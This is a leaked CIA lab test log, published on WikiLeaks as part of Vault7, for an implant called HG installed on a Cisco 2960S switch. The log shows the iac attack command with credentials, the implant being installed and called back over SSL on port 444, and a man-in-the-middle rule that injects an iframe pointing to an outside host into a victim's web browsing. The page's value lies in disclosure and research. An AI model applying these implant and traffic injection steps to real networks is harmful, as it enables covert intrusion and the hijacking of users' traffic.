Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
JQJHAIRPIECE - HG Testing
HG was delivered for JQJHAIRPIECE on 8/21/2015 for the Cisco 2960S. CONOP will be to FLXFluxwire to 192.168.3.40 and then . Testing will be limited to performance testing and SMITE in order to provide a quick turn around for Operator. Also need to test SMITE rules that exclude an internal web server (Xetron can help GIPPLE craft these rules).
Testing summary
Testing Notes
Information about target:
- WS-C2960S-24PD-L (testing used WS-C2960S-24PS-L)
- Boot loader version 12.2(55r)SE (testing used 12.2(55r)SE1)
- IOS c2960s-universalk9-mz.122-55.SE8.bin
- Local authentication
- 7 interfaces up - 1,5,6,9,10,20,24
- ports 1,5,6,10 are in VLANVirtual Local Area Network 3
- port 20 is in VLANVirtual Local Area Network 8
- port 24 is uplink trunk
- MGMT IP - int vlan 10 - 192.168.10.136
- Client mode for VTPVLANVirtual Local Area Network Trunk Protocol domain cisco
- VLANS configured - 1 - 12
- Upstream router - WS-3560G-24-TS running IOSApple operating system for small devices C3560-IPSERVICESK9-M, version 12.2(55)SE9. (testing used WS-C3560G-24PS running IOS C3560-IPSERVICESK9-M, version 12.2(55)SE8)
- Downstream switch - 2960
VMS used
- Hairpiece-ICON-172.20.12.30
- Hairpiece-Seeds-Fedora10 192.168.3.10
- Hairpiece-Flux-192.168.3.40
- Hairpiece-Victim - 192.168.10.11
- Smoke Test - Use ROCEM to throw HG via FLUX
- Configured Seeds traffic on Seeds VMVirtual Machine for Hairpiece network and started ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds traffic
- Successfully established FLUX connection from Hairpiece-Icon to hairpiece-Flux at 192.168.3.40.
- Sucessfully established rocem interactive mode via flux
- Set rocem
- Could not set/unset rocem through flux, but tried outside of flux and it works fine. For purposes of smoke testing, continuing without flux.
- Set rocem outside of flux
- Attacked with iac
root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# ./iac --ip 192.168.10.136 --l cisco:test test
LG
EC -125
DH
EC -159
M
root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# -
Installed HG with remote:
GOOD - status OK.
OP: RUNCODE using Per Second
Code address: 0x044efd34
No data
Result: 0x00000001 - Established CTCounter Terrorism session on port 444 since flux was using port 443. Used Seeds host as IP to trigger.
> ilm listen hairpiece-1h.txt
Listening for clients on port 444...
Accepted connection from 192.168.3.10:15890
Attempting SSLSecure Socket Layer Handshake...
SSL Handshake Successful!
[Success]
New Key: lMzoTDqJUimWHf*yOQXqdzvFrk*LgsOzKIqu8blZt98=
************ Success ************
[ilm listen hairpiece-1h.txt][192.168.3.10]>
- Created mitm rule:
[192.168.3.10]> mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
[Pending]
Job: 136300776
************ Pending ************
[mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ -en -bc -bk][192.168.3.10]> [Success]
Web browsed from Victim and received iframe:
<body><iframe src="http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ"- Uninstalled HG:
[192.168.3.10]> device uninstall_hg -f
Warning!!!
This command will remove all capabilities.
If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
Memory permissions will not be reset. See Operational Use Notes for more information.
This connection will be terminated as a result of this command.Do you wish to continue?
Enter yes or no: yes[Success]
************ Success ************
[device uninstall_hg -f][192.168.3.10]> [Remote Failure]
************ Remote Failure ************
Connection to device lost!!
- Characterization of ROCEM issues with Flux
- Collected wiresharks of failed set attempts and successful interactive attempts from flux, icon, and rocem log files and sent all to Xetron.
- Tried using -c flag to change chunk size in ROCEM and tried every size in increments of 50 between 100 and 1500 - ROCEM still would not set through flux.
- Tried building a flux node with mtu set to 1500 - no luck, ROCEM would not work.
- Tried using a different flux node, from CMNCaiman (Codename)? testing, at 172.20.19.11 to attempt to flux from outside the network - no difference, rocem would not set.
- IXIA performance test - Baseline - no HG
- Reloaded DUTDevice Under Test to start with a clean configuration
- Set up IXIA test to run on clean device using Hairpiece NN and the following test parameters:
- 25M of constant traffic
- 50 internal hosts
- 50 upstream hosts
- 4 hour test kicked off at 11:40
- Test complete, saved solarwinds grapsh of CPU, MEM and latency. No alarming spikes, switch was not stressed with this amount of traffic.